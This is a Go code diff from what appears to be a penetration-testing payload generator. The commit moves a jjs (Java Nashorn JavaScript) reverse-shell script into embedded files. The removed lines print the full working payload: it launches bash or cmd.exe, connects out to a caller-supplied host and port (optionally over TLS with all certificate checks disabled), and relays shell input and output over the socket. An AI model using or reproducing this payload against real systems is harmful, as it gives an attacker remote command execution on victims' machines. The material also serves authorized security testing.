1
1
package reverse
2
2
3
3
import (
4
+ _ "embed"
4
5
"fmt"
6
+ "strings"
7
+ )
8
+
9
+ var (
10
+ //go:embed jjs/reverse_shell.jjs
11
+ JJSShell string
12
+
13
+ //go:embed jjs/reverse_shell_ssl.jjs
14
+ JJSShellSSL string
5
15
)
6
16
7
17
// Generates a script that can be used to create a reverse shell via jjs (Java javascript).
@@ -14,57 +24,12 @@ import (
14
24
// https://redthunder.blog/2018/04/09/disabling-hostname-validation-in-nashorn-javascript/
15
25
// https://gist.github.com/frohoff/8e7c2bf3737032a25051
16
26
func (jjs * JJSScriptPayload ) Default (lhost string , lport int , ssl bool ) string {
17
- script := `var shell = "bash";
18
- if (java.lang.System.getProperty("os.name").indexOf("Windows") != -1) {
19
- shell = "cmd.exe";
20
- }
21
- var p=new java.lang.ProcessBuilder(shell).redirectErrorStream(true).start();`
27
+ var script string
22
28
if ssl {
23
- script += fmt .Sprintf (`
24
- var X509TrustManager = Java.type("javax.net.ssl.X509TrustManager");
25
- var permissiveTrustManager = Java.extend(X509TrustManager,
26
- {
27
- getAcceptedIssuers: function(){return null;},
28
- checkClientTrusted: function(certs, authType){return;},
29
- checkServerTrusted: function(certs, authType){return;}
30
- }
31
- );
32
- var trustAllCerts = [new permissiveTrustManager()];
33
- var sc = javax.net.ssl.SSLContext.getInstance("TLS");
34
- sc.init(null, trustAllCerts, new java.security.SecureRandom());
35
- var factory = sc.getSocketFactory();
36
- var s=factory.createSocket("%s", %d);
37
- s.startHandshake()` , lhost , lport )
29
+ script = strings .Trim (fmt .Sprintf (JJSShellSSL , lhost , lport ), "\r \n " )
38
30
} else {
39
- script += fmt .Sprintf (`var s=new java.net.Socket("%s", %d);` , lhost , lport )
40
- }
41
- script += `
42
- var socketInput = new java.io.BufferedReader(new java.io.InputStreamReader(s.getInputStream()));
43
- var socketOutput = new java.io.BufferedWriter(new java.io.OutputStreamWriter(s.getOutputStream()));
44
- var processInput = new java.io.BufferedWriter(new java.io.OutputStreamWriter(p.getOutputStream()));
45
- var processOutput = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
46
-
47
- while (!s.isClosed()) {
48
- var data
49
- if ((data = socketInput.readLine()) != null) {
50
- processInput.write(data + "\n");
51
- processInput.flush()
31
+ script = strings .Trim (fmt .Sprintf (JJSShell , lhost , lport ), "\r \n " )
52
32
}
53
- java.lang.Thread.sleep(50);
54
-
55
- while (processOutput.ready() && (data = processOutput.read()) > 0) {
56
- socketOutput.write(data);
57
- }
58
- socketOutput.flush()
59
- try {
60
- p.exitValue();
61
- break;
62
- } catch (e) {
63
- }
64
- }
65
-
66
- p.destroy();
67
- s.close();`
68
33
69
34
return script
70
35
}
0 commit comments